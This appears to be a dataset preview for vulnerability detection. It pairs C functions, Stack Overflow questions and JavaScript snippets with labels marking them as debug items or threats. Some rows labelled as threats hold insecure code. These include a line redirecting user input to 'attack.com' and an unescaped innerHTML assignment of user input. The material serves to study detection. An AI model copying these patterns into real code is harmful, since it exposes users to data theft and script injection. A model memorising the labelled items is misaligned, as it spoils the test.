problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
angular 2 template use console.log : <p>I would like to use the console.log inside the inline template but can't find any directions.</p>
<pre><code>@Component({
selector:"main",
providers: [ItemService],
template:`
<ul>
<li *ngFor="let item of items">
{{console.log(item)}} <----- ?... | 0debug |
Check if a Youtube ID is valid with Nokogori and Rails : #video_controller.rb
submitted_link = "https://www.googleapis.com/youtube/v3/videos?part=id&id="+@results[:id]+"&key="+ENV["KEY_YOUTUBE"]
link_result = Nokogiri::HTML(open(submitted_link))
I get this result
{
"kind": "youtube#videoL... | 0debug |
does python has a way to implement C#-like indexers? : <p>how to implement in python c# indexers-like this[int i] {get set}? In other words, how to write the follow code in python?</p>
<pre><code>public class foo{
...
List<foo2> objfoo;
...
public foo2 this[int i] {
get{ return objfoo[i]; }... | 0debug |
Is it possible to track user activity in his iDevice : As the title Describe to Track,
Is it possible to track every activity of a user in his iphone and display it
For example - A user "X" unlock his iphone(slide to unlock)<br> then he make a call after that played a game<br> then open a camera and taken a ... | 0debug |
void helper_lcall_protected(CPUX86State *env, int new_cs, target_ulong new_eip,
int shift, int next_eip_addend)
{
int new_stack, i;
uint32_t e1, e2, cpl, dpl, rpl, selector, offset, param_count;
uint32_t ss = 0, ss_e1 = 0, ss_e2 = 0, sp, type, ss_dpl, sp_mask;
uint32_t ... | 1threat |
void ff_estimate_b_frame_motion(MpegEncContext * s,
int mb_x, int mb_y)
{
MotionEstContext * const c= &s->me;
const int penalty_factor= c->mb_penalty_factor;
int fmin, bmin, dmin, fbmin, bimin, fimin;
int type=0;
const int xy = mb_y*s->mb_stride + mb_x;
init_... | 1threat |
Why is my code not working (Error: str object is not callable) : <p><strong>You get a Task to solve (math).
- No taks with solutions below zero
- No tasks with solutions that have decimal places</strong></p>
<p>When the loop runs the first time everything works just fine. But after the first task it sends this error:<... | 0debug |
static void raw_refresh_limits(BlockDriverState *bs, Error **errp)
{
BDRVRawState *s = bs->opaque;
struct stat st;
if (!fstat(s->fd, &st)) {
if (S_ISBLK(st.st_mode)) {
int ret = hdev_get_max_transfer_length(s->fd);
if (ret >= 0) {
bs->bl.max_transfer... | 1threat |
int avio_get_str(AVIOContext *s, int maxlen, char *buf, int buflen)
{
int i;
buflen = FFMIN(buflen - 1, maxlen);
for (i = 0; i < buflen; i++)
if (!(buf[i] = avio_r8(s)))
return i + 1;
if (buflen)
buf[i] = 0;
for (; i < maxlen; i++)
if (!avio_r8(s... | 1threat |
Show Date as Mmmm d, yyyy SQL : Trying to show the date as August 2, 2018 format. Its stored as 20180802 in the table. The column type is set is char. Any help is appreciated.
Thanks | 0debug |
ERROR in [at-loader] node_modules\@types\jasmine : <p>My webpack build started failing out of nowhere with no packages being updated. I assume some minor version update caused this, but can't figure out how to get around it. Does anyone know what to do?</p>
<pre><code>ERROR in [at-loader] node_modules\@types\jasmine\i... | 0debug |
how to convert string to date or date to string : <p>I have a tableview cell with a Date type Date, it shows me the following error and I don't know how to fix it:</p>
<blockquote>
<p>Error: Cannot assign value of type 'Date' to type 'String?'</p>
</blockquote>
<pre><code>cell.Resum_Controls_Data_txt.text = control... | 0debug |
static int write_streamheader(AVFormatContext *avctx, AVIOContext *bc, AVStream *st, int i){
NUTContext *nut = avctx->priv_data;
AVCodecContext *codec = st->codec;
unsigned codec_tag = av_codec_get_tag(ff_nut_codec_tags, codec->codec_id);
ff_put_v(bc, i);
switch(codec->codec_type){
case ... | 1threat |
bash script to search directory only specific file types : <p>I'm trying to write a bash script that will search a folder for specific file extensions (lets say .txt and .csv). The folder can have thousands of each type of extension. If the folder has only these two extensions across all files then the script can proce... | 0debug |
static uint16_t nvme_write_zeros(NvmeCtrl *n, NvmeNamespace *ns, NvmeCmd *cmd,
NvmeRequest *req)
{
NvmeRwCmd *rw = (NvmeRwCmd *)cmd;
const uint8_t lba_index = NVME_ID_NS_FLBAS_INDEX(ns->id_ns.flbas);
const uint8_t data_shift = ns->id_ns.lbaf[lba_index].ds;
uint64_t slba = le64_to_cpu(rw->slba)... | 1threat |
How is CSS pixel movement same in every monitor resolution : <p>Lets says I have the following CSS:</p>
<pre><code>#div-1 {
position:relative;
top:20px;
left:-40px;
}
</code></pre>
<p>If load it on Monitor A and drag my browser to monitor B with a different resolution, HTML div will be at the same spot, although pixe... | 0debug |
BeatifoulSoup: nested elements : I would like to extract the Impact Factor (0.806) with BeatifoulSoup from this HTML text:
<div id="quick-facts-container" class="SideBox">
<ul class="ListStack ListStack--float">
<li>
<span>Impact Factor</span>
<span... | 0debug |
RCPP - temporary variable : i wanna ask about temporary variable, in this code i want to replace the k-th row of Ynew1 by zero, and in every iteration the value of Ynew1 is updated by X (first value). but in my code not only row of Ynew1 are replace by 0, but the X too. and, unfortunately the result is Ynew1 is matrix ... | 0debug |
Breadcrumb libraries (html5/css) : <p>I am looking for a library which has some custom breadcrumbs as the following:</p>
<p><a href="https://i.stack.imgur.com/aJAoN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aJAoN.png" alt="enter image description here"></a></p>
<p>Any idea what I could use to... | 0debug |
static void rtl8139_do_receive(void *opaque, const uint8_t *buf, int size, int do_interrupt)
{
RTL8139State *s = opaque;
uint32_t packet_header = 0;
uint8_t buf1[60];
static const uint8_t broadcast_macaddr[6] =
{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
DEBUG_PRINT((">>> RTL8139: ... | 1threat |
static int decode_mb_cavlc(H264Context *h){
MpegEncContext * const s = &h->s;
int mb_xy;
int partition_count;
unsigned int mb_type, cbp;
int dct8x8_allowed= h->pps.transform_8x8_mode;
mb_xy = h->mb_xy = s->mb_x + s->mb_y*s->mb_stride;
s->dsp.clear_blocks(h->mb);
tprintf(s-... | 1threat |
aio_ctx_check(GSource *source)
{
AioContext *ctx = (AioContext *) source;
QEMUBH *bh;
atomic_and(&ctx->notify_me, ~1);
aio_notify_accept(ctx);
for (bh = ctx->first_bh; bh; bh = bh->next) {
if (!bh->deleted && bh->scheduled) {
return true;
}
}
return... | 1threat |
void FUNC(ff_emulated_edge_mc)(uint8_t *buf, const uint8_t *src,
ptrdiff_t linesize_arg,
int block_w, int block_h,
int src_x, int src_y, int w, int h)
{
int x, y;
int start_y, start_x, end_y, ... | 1threat |
static int rpl_read_header(AVFormatContext *s)
{
AVIOContext *pb = s->pb;
RPLContext *rpl = s->priv_data;
AVStream *vst = NULL, *ast = NULL;
int total_audio_size;
int error = 0;
uint32_t i;
int32_t audio_format, chunk_catalog_offset, number_of_chunks;
AVRational fps;
... | 1threat |
HOW TO REMOVE stdClass Object IN CODEIGNITER PHP : **HOW TO REMOVE stdClass Object IN PHP**
I AM USING `**$detail['shipping'] = $this->Mymodel->Tcs_get_data('shipment_master');**` IN CONTROLLER
HERE IS MY ARRAY
VIEW IN VIEW PAGE
USING PRINT_R ($shipping);
Array ( [0] => stdClass Object ( [sc_id] => ... | 0debug |
static void test_visitor_in_native_list_bool(TestInputVisitorData *data,
const void *unused)
{
UserDefNativeListUnion *cvalue = NULL;
boolList *elem = NULL;
Visitor *v;
GString *gstr_list = g_string_new("");
GString *gstr_union = g_string_new("");
... | 1threat |
static int img_compare(int argc, char **argv)
{
const char *fmt1 = NULL, *fmt2 = NULL, *cache, *filename1, *filename2;
BlockBackend *blk1, *blk2;
BlockDriverState *bs1, *bs2;
int64_t total_sectors1, total_sectors2;
uint8_t *buf1 = NULL, *buf2 = NULL;
int pnum1, pnum2;
int allocated1,... | 1threat |
static void pl110_update_display(void *opaque)
{
PL110State *s = (PL110State *)opaque;
SysBusDevice *sbd;
DisplaySurface *surface = qemu_console_surface(s->con);
drawfn* fntable;
drawfn fn;
int dest_width;
int src_width;
int bpp_offset;
int first;
int last;
if (... | 1threat |
Insert date in DD MM YY format in php myadmin : <p>I want to insert date in dd mm yy format and this is my php script</p>
<pre><code>date_default_timezone_set('Asia/Kolkata');
$date = date('Y-m-d');
$qry="INSERT INTO `nesbaty_offer`( `provider_id`,
`offer_p... | 0debug |
Extracting xml tags and values of clob data in a table :
One of my tables has a clob column with above data(as shown in the picture)
please help me with a query which results the number of rows which contain <location> tag.
[1]: https://i.stack.imgur.com/zoiak.png | 0debug |
int cpu_ppc_register (CPUPPCState *env, ppc_def_t *def)
{
env->msr_mask = def->msr_mask;
env->mmu_model = def->mmu_model;
env->excp_model = def->excp_model;
env->bus_model = def->bus_model;
env->bfd_mach = def->bfd_mach;
if (create_ppc_opcodes(env, def) < 0)
return -1;
init_... | 1threat |
static int spapr_populate_memory(sPAPREnvironment *spapr, void *fdt)
{
uint32_t associativity[] = {cpu_to_be32(0x4), cpu_to_be32(0x0),
cpu_to_be32(0x0), cpu_to_be32(0x0),
cpu_to_be32(0x0)};
char mem_name[32];
hwaddr node0_size, mem_start;... | 1threat |
static void test_visitor_out_null(TestOutputVisitorData *data,
const void *unused)
{
QObject *arg;
QDict *qdict;
QObject *nil;
visit_start_struct(data->ov, NULL, NULL, 0, &error_abort);
visit_type_null(data->ov, "a", &error_abort);
visit_check_struct(d... | 1threat |
Explain "Active-object" pattern : <p>What is the goal of the Active object pattern?
Can you show me any abstract example to understand it easily?</p>
| 0debug |
Convert Tensorflow model to Caffe model : <p>I would like to be able to convert a Tensorflow model to Caffe model.</p>
<p>I searched on google but I was able to find only converters from caffe to tensorflow but not the opposite.</p>
<p>Does anyone have an idea on how to do it?</p>
<p>Thanks,
Evi</p>
| 0debug |
static void opt_qmax(const char *arg)
{
video_qmax = atoi(arg);
if (video_qmax < 0 ||
video_qmax > 31) {
fprintf(stderr, "qmax must be >= 1 and <= 31\n");
exit(1);
}
}
| 1threat |
static ssize_t sdp_svc_search(struct bt_l2cap_sdp_state_s *sdp,
uint8_t *rsp, const uint8_t *req, ssize_t len)
{
ssize_t seqlen;
int i, count, start, end, max;
int32_t handle;
for (i = 0; i < sdp->services; i ++)
sdp->service_list[i].match = 0;
if (len < 1)
... | 1threat |
RuntimeError: main thread is not in main loop with Matplotlib and Flask : <p>I'm using flask, matplotlib to save image and tensorflow to create a session. I'm getting the above error when I run the following code. Does the flask route run on a separate thread? How can I make fig.saveFig piece of code run on the Main th... | 0debug |
SQL - count (*) not working- : i want to use a simple count (*) code but there is something wrong, please help
select fname,lname, dno, count(*)
2 from employee
3 group by dno
4 having count(*)
5 /
ERROR at line 4:
ORA-00920: invalid relational operator
thank you very much | 0debug |
static void ioreq_release(struct ioreq *ioreq)
{
struct XenBlkDev *blkdev = ioreq->blkdev;
LIST_REMOVE(ioreq, list);
memset(ioreq, 0, sizeof(*ioreq));
ioreq->blkdev = blkdev;
LIST_INSERT_HEAD(&blkdev->freelist, ioreq, list);
blkdev->requests_finished--;
}
| 1threat |
Excel VBA select checkboxes and input box from webpage to download data : I'm using Excel VBA to navigate to http://airyards.com/tables.html.
- Once I am there, I want to check enable the check boxes for "WR", "TE" and "RB" only.
- Then have the input box (i.e. the "add or remove weeks" box) be just a single we... | 0debug |
onclcik check if that element not hasClass() : i want to check on click that div or li any element not hasClass() then do something ..
i am trying to do like this...
$(document).on('click',function() {
if(!(this).hasClass("help-icons") && !(this).hasClass("help") && (this).hasClass("close")){
... | 0debug |
C# array initialization without new operator : In C#, does the following initialization create instance without usage of new operator?
Initialization:
string[] strArray = {"one","two","three"}; | 0debug |
Can't use global variable in PHP : <p>I'm trying to use a global variable, but it's saying that there's a unexpected equal sign? How is that...?</p>
<pre><code><?php
global $text = "text";
echo $text;
?>
</code></pre>
<p>Parse error: syntax error, unexpected '=', expecting ',' or ';' in /home/chatwith/public_... | 0debug |
Inde 0, Size 0 when selection : I create a selection condition inside looping , when data true it will be add into an array, false also. Then i create another selection condition outside the looping process to get the array. then when the looping get true data it will do some true stuff, if false will do some false stu... | 0debug |
Codeigniter error: syntax error, unexpected 'Eval' (T_EVAL), expecting identifier (T_STRING) : <p>I'm getting the following error: A PHP Error was encountered</p>
<p>Severity: Parsing Error</p>
<p>Message: syntax error, unexpected 'Eval' (T_EVAL), expecting identifier (T_STRING)</p>
<p>Filename: controllers/Eval.php... | 0debug |
how to pass data from one activity to another in android studio : this is my first activity call CreateMessageActivity were the user is ask to check the ckeckboxes so that it can calculate the total
public void myClickHandler(View view) {
double fish1 = 0;
double chicken1 = 0;
doub... | 0debug |
How do I use Cognito with the generated Javascript SDK? : <p>I couldn't find any documentation that showed how to do this so I tried my best to figure it out (is this not a common use case)? I've set up my resource to use IAM authentication, set up CORS, etc. Then I deployed it, and downloaded the generated the SDK.</p... | 0debug |
static av_cold int libschroedinger_decode_close(AVCodecContext *avctx)
{
SchroDecoderParams *p_schro_params = avctx->priv_data;
schro_decoder_free(p_schro_params->decoder);
av_freep(&p_schro_params->format);
ff_schro_queue_free(&p_schro_params->dec_frame_queue,
... | 1threat |
Can we insure the for loop iteration order when we loop over a list by "for item in list:"? : <pre><code>for a in mylist:
print(a)
</code></pre>
<p>I am wondering whether the item in the for loop iteration will always print the item in order?</p>
<p>I know "for i in (len(mylist))" can ensure the order but not su... | 0debug |
Time difference calculation in php : <p>Lets suppose start time= 2200 and end time= 0500. In PhP how can we check a given time is between start and end time? I only want to check the time, regardless of the date.</p>
| 0debug |
Change log level in unittest : <p>I have the impression (but do not find the documentation for it) that unittest sets the logging level to <code>WARNING</code> <em>for all loggers</em>. I would like to:</p>
<ul>
<li>be able to specify the logging level for all loggers, from the command line (when running the tests) or... | 0debug |
Springboot @retryable not retrying : <p>The following code is not retrying. What am I missing?</p>
<pre><code>@EnableRetry
@SpringBootApplication
public class App implements CommandLineRunner
{
.........
.........
@Retryable()
ResponseEntity<String> authenticate(RestTemplate restTemplate, HttpE... | 0debug |
Tint Navigation Icon in Toolbar : <p>How to tint menu icons is already covered a few times, like here:
<a href="https://stackoverflow.com/questions/28219178/toolbar-icon-tinting-on-android">Toolbar icon tinting on Android</a></p>
<p>Additionally to this solution there is still the problem of the navigation icon.
Appl... | 0debug |
static inline void gen_evmwumiaa(DisasContext *ctx)
{
TCGv_i64 acc;
TCGv_i64 tmp;
if (unlikely(!ctx->spe_enabled)) {
gen_exception(ctx, POWERPC_EXCP_APU);
return;
}
gen_evmwumi(ctx);
acc = tcg_temp_new_i64();
tmp = tcg_temp_new_i64();
g... | 1threat |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Why does my if statement not work? What is wrong with my code? : <p>So when I put in the proper credentials in the EditText bars, I still get the ACCESS DENIED message. What should happen is that I should get the ACCESS GRANTED message instead of ACCESS DENIED. So what is wrong with my if statement?</p>
<pre><code> ... | 0debug |
void put_no_rnd_pixels8_xy2_altivec(uint8_t *block, const uint8_t *pixels, int line_size, int h)
{
POWERPC_TBL_DECLARE(altivec_put_no_rnd_pixels8_xy2_num, 1);
#ifdef ALTIVEC_USE_REFERENCE_C_CODE
int j;
POWERPC_TBL_START_COUNT(altivec_put_no_rnd_pixels8_xy2_num, 1);
for (j = 0; j < 2; j++) {
int i;
... | 1threat |
Set the file name and open blob pdf type in new tab : <p>I am trying to open the blob byte streams in the new tab of the browser. It is works, but I am not sure how to set the file name so that each of the documents will have the unique name when downloaded. Now, the document was defaulted to 'document.pdf' when saved.... | 0debug |
serviceworkers focus tab: clients is empty on notificationclick : <p>I have a common serviceworker escenario, where I want catch a notification click and focus the tab where the notification has come from. However, clients variable is always empty, its lenght is 0</p>
<p><div class="snippet" data-lang="js" data-hide="... | 0debug |
How do I UPDATE from a SELECT in SQL command C#? : I need to update Book table and Stock table same time using single query.Because ISBN_No in Book table is equal to ISBN_No in stock table.I would like to know how to put following query inside of the sql command
UPDATE
Table_A
SET
Table_A.col1 = T... | 0debug |
static unsigned tget(GetByteContext *gb, int type, int le)
{
switch (type) {
case TIFF_BYTE : return bytestream2_get_byteu(gb);
case TIFF_SHORT: return tget_short(gb, le);
case TIFF_LONG : return tget_long(gb, le);
default : return UINT_MAX;
}
}
| 1threat |
Execute certain code in function (Calling function in function)? Python : <p>I want to execute a certain lines of codes in a function and not other ones.</p>
<p>Example:</p>
<pre><code>def function1():
print("execute function 1")
def function2():
print("execute funciton 2")
def function3():
... | 0debug |
extracting data from .txt file using python : <p>I have a txt file which contains the following information</p>
<pre><code>03/05/2016 3020 04/05/2016 1605 05/05/2016 2015 06/05/2016 1014 07/05/2016 558 08/05/2016 509 09/05/2016 1510 10/05/2016 1010
</code></pre>
<p>I want to extract this data form this txt file and s... | 0debug |
void qemu_bh_delete(QEMUBH *bh)
{
qemu_free(bh);
}
| 1threat |
static inline struct rgbvec interp_tetrahedral(const LUT3DContext *lut3d,
const struct rgbvec *s)
{
const struct rgbvec d = {s->r - PREV(s->r), s->g - PREV(s->g), s->b - PREV(s->b)};
const struct rgbvec c000 = lut3d->lut[PREV(s->r)][PREV(s->g)][PREV(s->b)];
... | 1threat |
static target_ulong h_set_mode_resouce_addr_trans_mode(PowerPCCPU *cpu,
target_ulong mflags,
target_ulong value1,
target_ulong value2)
{
CPUState ... | 1threat |
static int vhost_dev_set_features(struct vhost_dev *dev, bool enable_log)
{
uint64_t features = dev->acked_features;
int r;
if (enable_log) {
features |= 0x1ULL << VHOST_F_LOG_ALL;
}
r = dev->vhost_ops->vhost_set_features(dev, features);
if (r < 0) {
VHOST_OPS_DEBUG("vho... | 1threat |
Facebook App Login: How to control expiration date of an image URL I got? : <p>I'm developing an app, which uses the facebook login. After login the user must set additional informations and a profile picture, with the picture being provided from that logged in facebook account as well. Now the whole account details, i... | 0debug |
Visual Studio Code disable auto-quote : <p>How do I disable the auto-quotes feature?</p>
<p>When I hit the ' or " key, I do not EVER want it to automatically insert another one anywhere. No matter how smart they make it, it just comes across to me as "unpredictable" and distracts me from what I'm trying to do.</p>
<p... | 0debug |
IPv6 structure definition error : <pre><code> common.c:150:17: error: ‘const struct sockaddr_in6’ has no member named ‘sa_family’
</code></pre>
<p>This is the error I get when solving resolution of my incoming IPv6 from client.
Please advice</p>
| 0debug |
static void pl031_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
SysBusDeviceClass *k = SYS_BUS_DEVICE_CLASS(klass);
k->init = pl031_init;
dc->no_user = 1;
dc->vmsd = &vmstate_pl031;
}
| 1threat |
Basic FlatList code throws Warning - React Native : <p>FlatList does not seem to be working. I get this warning.</p>
<p><strong>VirtualizedList: missing keys for items, make sure to specify a key property on each item or provide a custom keyExtractor.</strong> </p>
<p>Code:</p>
<pre><code><FlatList
data={[{nam... | 0debug |
multi sort list of double lists : <p>I have a List of Double Lists, </p>
<pre><code>List<List<double>>
</code></pre>
<p>like this </p>
<pre><code>{ 0.0 , 0.0 , -1.0 , 123.1 , 123.2 , 123.3 }
{ 0.0 , 40.0 , 1.0 , 123.1 , 123.2 , 123.3 }
{ 1.0 , 40.0 , 1.0 , 123.1 , 123.2 , 123.3 }
{ 1.0 , 0.0 , -1.0 ,... | 0debug |
MVC C# dynamic url depending on page variable : So I want it so that if someone loads say three or four entries when they search and they select entry two to edit when they click the open button how would i make it go to say /entry/2 or if they opened entry three it would say /entry/3
Im new to MVC so im really not ... | 0debug |
Unable to setup DKIM TXT-Value as DNS-Record : <p>I have a domain name which DNS is edited via Google Cloud DNS. And I have a Google Apps for Work Account with that domain name.</p>
<p>I wanted to set up DKIM-authentication but when I try to save the corresponding TXT-Record I get the error that the Tag is invalid.</p... | 0debug |
static av_cold int decimate_init(AVFilterContext *ctx)
{
DecimateContext *dm = ctx->priv;
AVFilterPad pad = {
.name = av_strdup("main"),
.type = AVMEDIA_TYPE_VIDEO,
.filter_frame = filter_frame,
.config_props = config_input,
};
if (!pad.name)
... | 1threat |
Hibernate interceptor and event listeners : <p>I wonder if it's possible to find out what hibernate <em>really</em> did to the database (i.e., committed changes). I'd like to notify another process on certain changes.</p>
<p>I guess that the <a href="https://docs.jboss.org/hibernate/orm/5.0/javadocs/org/hibernate/even... | 0debug |
void load_seg(int seg_reg, int selector)
{
SegmentCache *sc;
SegmentDescriptorTable *dt;
int index;
uint32_t e1, e2;
uint8_t *ptr;
env->segs[seg_reg] = selector;
sc = &env->seg_cache[seg_reg];
if (env->eflags & VM_MASK) {
sc->base = (void *)(selector << 4);
s... | 1threat |
def set_Bit_Number(n):
if (n == 0):
return 0;
msb = 0;
n = int(n / 2);
while (n > 0):
n = int(n / 2);
msb += 1;
return (1 << msb) | 0debug |
static void xhci_event(XHCIState *xhci, XHCIEvent *event, int v)
{
XHCIInterrupter *intr;
dma_addr_t erdp;
unsigned int dp_idx;
if (v >= xhci->numintrs) {
DPRINTF("intr nr out of range (%d >= %d)\n", v, xhci->numintrs);
return;
}
intr = &xhci->intr[v];
if (intr-... | 1threat |
bool object_property_get_bool(Object *obj, const char *name,
Error **errp)
{
QObject *ret = object_property_get_qobject(obj, name, errp);
QBool *qbool;
bool retval;
if (!ret) {
return false;
}
qbool = qobject_to_qbool(ret);
if (!qbool) {
... | 1threat |
def divisible_by_digits(startnum, endnum):
return [n for n in range(startnum, endnum+1) \
if not any(map(lambda x: int(x) == 0 or n%int(x) != 0, str(n)))] | 0debug |
Why does this print 8? Simple Python list : <pre><code>list = [1, 1, 2, 3, 5, 8, 13]
print(list[list[4]])
</code></pre>
<p>Why does this print 8? I don't understand that particular print statement syntax</p>
| 0debug |
Xamarin build-times extremely slow : <p>I have developed several (experimental and prototype) iOS apps using Xamarin and the new Visual Studio for Mac OS and the build-times intermittently take about 5-10 minutes on average. When starting a new project, build-times are fine. After a few changes in the source code while... | 0debug |
Golang, it is safe storing pem encrypted block? : Well, hi, i have some experience using Go, but now i don't really understand the complexity in security of what i am doing, so i need to ask.
I am creating a rsa private key, converting to pem and then encryping it with a passphrase.
So, how secure is to store it ... | 0debug |
Sql server What happens in delete with index : I have a heap table of 36 mill,am trying to delete selected 6 mill.. When i delete in 100 of batches reads is 16++++++ and write is 113 so i add NON-clus index on Identity column to make read faster, now read is 34899 and write is 3508 with adding one NON-clus Idx it incre... | 0debug |
Kindly someone help. I am linking one activity to another using a button and the app crashes after clicking the button : I have a home activity, QuizActivity, ResultActivity all with its xml files.
I have put a button in home activity to link to QuestionActivity to start the quiz. But the app crashes after clicking of... | 0debug |
static void serial_update_irq(SerialState *s)
{
uint8_t tmp_iir = UART_IIR_NO_INT;
if ((s->ier & UART_IER_RLSI) && (s->lsr & UART_LSR_INT_ANY)) {
tmp_iir = UART_IIR_RLSI;
} else if ((s->ier & UART_IER_RDI) && s->timeout_ipending) {
tmp_iir = UART_IIR_CTI;
} else if... | 1threat |
static int vmdk_write(BlockDriverState *bs, int64_t sector_num,
const uint8_t *buf, int nb_sectors)
{
BDRVVmdkState *s = bs->opaque;
VmdkExtent *extent = NULL;
int n;
int64_t index_in_cluster;
uint64_t cluster_offset;
VmdkMetaData m_data;
if (sector_num > bs->... | 1threat |
iOS Swift - Get the Current Local Time and Date Timestamp : <p>I'm trying to make an attendance app and I am really confused about date and time in iOS and Firebase.</p>
<p>I use date as Key, this is the structure of my Firebase database.</p>
<pre><code>--Employees
--Unique_ID
--Details
Name: John
... | 0debug |
C++ Start Process / Apllication : I have a dll source file, I want to create a function in it, which call an exe.
The exe is in the Data/Common/PPI.exe How can I start this from the c++ code?
I tryed with CreateProcess and ShellExec, can anybody create an example for me to know how to make it, with this path and wi... | 0debug |
void ppc_hash64_set_sdr1(PowerPCCPU *cpu, target_ulong value,
Error **errp)
{
CPUPPCState *env = &cpu->env;
target_ulong htabsize = value & SDR_64_HTABSIZE;
env->spr[SPR_SDR1] = value;
if (htabsize > 28) {
error_setg(errp,
"Invalid HTABSIZE 0... | 1threat |
Pandas dataframe: truncate string fields : <p>I have a dataframe and would like to truncate each field to up to 20 characters. I've been naively trying the following:</p>
<pre><code>df = df.astype(str).apply(lambda x: x[:20])
</code></pre>
<p>however it has no effect whatsoever. If, however, I wanted to add an 'Y' to... | 0debug |
document.getElementById('input').innerHTML = user_input; | 1threat |
Wordpress Speed : <p>I'm looking for some additional ideas on how to speed up our WordPress Portal, which we've built from the ground up. </p>
<p>The pages are taking a little longer that would like to load and it causing some concerns. </p>
<p>Things i've tried: </p>
<p>Putting CDN's in for as much as possible. </p... | 0debug |
static int handle_intercept(S390CPU *cpu)
{
CPUState *cs = CPU(cpu);
struct kvm_run *run = cs->kvm_run;
int icpt_code = run->s390_sieic.icptcode;
int r = 0;
DPRINTF("intercept: 0x%x (at 0x%lx)\n", icpt_code,
(long)cs->kvm_run->psw_addr);
switch (icpt_code) {
case I... | 1threat |
How to keep collored output using sed : <p>Hi I'm using <code>sed</code> command and I want to keep collored output from previous command.</p>
<pre><code>la | sed -En '/Desktop/q;p'
</code></pre>
<p>But sed cut off all color codes</p>
| 0debug |
import re
def remove(list):
pattern = '[0-9]'
list = [re.sub(pattern, '', i) for i in list]
return list | 0debug |
static void qdev_prop_set(DeviceState *dev, const char *name, void *src, enum PropertyType type)
{
Property *prop;
prop = qdev_prop_find(dev, name);
if (!prop) {
fprintf(stderr, "%s: property \"%s.%s\" not found\n",
__FUNCTION__, object_get_typename(OBJECT(dev)), name);
... | 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.